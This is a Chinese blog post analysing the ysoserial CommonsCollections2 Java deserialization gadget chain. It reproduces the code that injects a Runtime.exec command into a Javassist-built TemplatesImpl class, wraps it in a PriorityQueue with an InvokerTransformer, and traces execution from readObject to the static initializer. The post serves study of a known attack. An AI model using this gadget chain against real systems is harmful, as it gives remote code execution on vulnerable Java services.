ysoserial-cc2 java反序列化

该博客详细解析了一个Java反序列化漏洞的利用过程,包括如何构造恶意的TemplatesImpl类,通过插入 payload 类的字节码并在静态初始化块中执行命令。整个流程涉及Javassist库动态生成类、类继承、优先级队列等,最终通过TransformerFactory的newTransformer方法触发payload执行。
yso-cc2
1从入口看

1)
在这里插入图片描述

2)在这里插入图片描述
3)createTemplatesImpl方法,与jdk7u21的利用类相同

  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

4)首先获取 StubTransletPayload 类

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}


        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }

5)Javassist获取生成class文件,设置父类AbstractTranslet,修改类本身也继承此类此处可不写。

 clazz.makeClassInitializer().insertAfter(cmd); 将payload 放入静态代码模块中
 clazz.setName("ysoserial.Pwner" + System.nanoTime());设置类名
 CtClass superC = pool.get(abstTranslet.getName());
 clazz.setSuperclass(superC);类继承AbstractTranslet,

将类输出看下

    ClassPool pool1 = ClassPool.getDefault();
        pool1.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool1.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        final CtClass clazz = pool1.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String command= "calc";
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("javassistdemo" + System.nanoTime());
        CtClass superC = pool1.get(AbstractTranslet.class.getName());
         //StubTransletPayload类本身也是继承于AbstractTranslet
        //clazz.setSuperclass(superC);
        clazz.writeFile();
        clazz.detach();

结果如下

public class javassistdemo2345088706633400 extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;

    public javassistdemo2345088706633400() {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        Object var1 = null;
        Runtime.getRuntime().exec("calc");
    }
}

6)将payload类字节码 赋值给TemplatesImpl的 _bytecodes,另外给_name和_tfactory赋值,(_tfactory为TransformerFactoryImpl类实例)

     Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

7)返回TemplatesImpl类,之后 创建PriorityQueue类(优先级队列),将transformer对象赋值给TransformingComparator的transformer参数。

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
-----------------------------------------------------------------------
 public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

8)反射修改InvokerTransformer的iMethodName

	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

9)取出上后面的PriorityQueue的queue属性并赋值,templates为恶意的类。

	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

10)返回PriorityQueue类,所以入口就是PriorityQueue的readobject
关键函数heapify().

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

11)heapify()

  private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
   // comparator  为 第七步TransformingComparator
  private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
进入比较函数compare    
  private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
TransformingComparator的compare    如下
   public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
  this.transformer.transformc()触发。

12)
this.iMethodName在第八步赋值为newTransformer
在这里插入图片描述
13)第九步将queueArray 的值赋值为恶意的templates和1,在此处进行比较,调用templates的newTransformer方法。此处_tfactory的值其实并不重要一样可以进入getTransletInstance函数

 public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

14)getTransletInstance方法
有name值的判断,所以前面赋值不为空,_class 为空调用defineTransletClasses方法
defineTransletClasses方法对_bytecodes里的字节进行load,触发静态模块代码,paylaod执行。

  private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();
            ...
  -----------------------------------------
    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值